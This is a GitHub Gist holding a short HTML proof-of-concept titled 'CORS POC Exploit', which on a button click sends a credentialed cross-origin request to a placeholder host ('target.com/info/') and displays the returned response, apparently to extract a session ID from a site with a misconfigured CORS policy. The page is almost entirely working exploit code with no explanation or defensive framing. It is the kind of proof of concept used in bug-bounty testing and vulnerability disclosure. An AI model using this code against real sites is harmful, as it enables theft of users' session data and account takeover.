Created
September 29, 2018 03:49
-
-
Save trackscorer/126b357a84c83c67c5d263045e8b69d1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<body> | |
<center> | |
<h2>CORS POC Exploit</h2> | |
<h3>Extract SID</h3> | |
<div id="demo"> | |
<button type="button" onclick="cors()">Exploit</button> | |
</div> | |
<script> | |
function cors() { | |
var xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
document.getElementById("demo").innerHTML = alert(this.responseText); | |
} | |
}; | |
xhttp.open("GET", "https://target.com/info/", true); | |
xhttp.withCredentials = true; | |
xhttp.send(); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment